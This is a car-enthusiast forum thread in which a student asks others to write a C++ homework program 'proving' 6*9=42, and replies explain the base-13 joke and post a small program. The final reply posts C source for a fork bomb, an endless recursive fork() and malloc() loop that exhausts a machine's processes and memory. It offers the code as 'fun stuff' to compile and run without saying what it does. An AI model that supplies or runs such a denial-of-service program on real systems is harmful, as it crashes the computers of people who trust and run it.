Lexus IS Forum banner

1 - 13 of 13 Posts

·
Registered
Joined
·
1,783 Posts
Discussion Starter #1
anyone who might be a great C++ person feel free to help me :)


for xmas maybe i'll buy you a short antenna or a 03 cupholder :D

anyway heres one of the 4 assignments worth 10 extra points towards my final grade in a class i am doing horrible in because i never go

so here we go

assignment : write a C++ program that proves the following equation is true. 6 * 9 = 42


i was gonna write out the other assignments but they need the other programs that have been written in class....oh well i got nuttin to lose so i thought id post this see if any1 could bang out this assignment quick :)

itd be very much appreciated
 

·
Registered
Joined
·
4,250 Posts
blueIS said:
6*9=42 :eek: ?
i thought it was 54!

calculator program was one of the project i had to do, btw...
yeah i don't get it either, if you can actually explain this i am sure one of us can help you. this program looks like its weak sauce.
 

·
Registered
Joined
·
4,523 Posts
I knew the number 42 was suspicious...

Hint for your project: 42 was the answer to everything in Douglas Adams' The Hitchhikers' Guide to the Galaxy.

In other words, it's not so much a C++ programming trick as it is a numbers trick.










(If you're too lazy to look at the book...think BASE 13 numbers.)
 

·
Registered
Joined
·
557 Posts
in base-13 the result of 6*9 is 42. This is easy to write in code, although I'm not sure how to prove it correct.

#include<iostream.h>

void main()
{
int result = 6*9;
for(int i = 9; i < 19; ++i) {
cout << "in base " << i << " the result of 6*9 is "
<< result/i << hex << result%i << dec << endl;
}
cout << "I get all my answers at is300.net" << endl;
}
 

·
Registered
Joined
·
660 Posts
post some more assignments... i dunno about different bases and what equals what but i can program c++... i wrote poker for my class a few years ago, it was money. see if you can hand that in for ec :wink:
 

·
Registered
Joined
·
4,523 Posts
More fun stuff (compile and run at your own risk ;))...

[code:1:cbfbf78783]
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>


void bomb();

int main()
{
while(1)
bomb();
return 0;
}

void bomb()
{
if (0 == fork())
{
malloc(5000);
bomb();
}
else
{
malloc(5000);
bomb();
}
}
[/code:1:cbfbf78783]
 
1 - 13 of 13 Posts
About this Discussion
12 Replies
9 Participants
JW
Lexus IS Forum
Community dedicated to Lexus IS Enthusiasts. Come in and enjoy our articles, galleries and information on aftermarket parts for the IS300, IS250, IS350.
Full Forum Listing
Top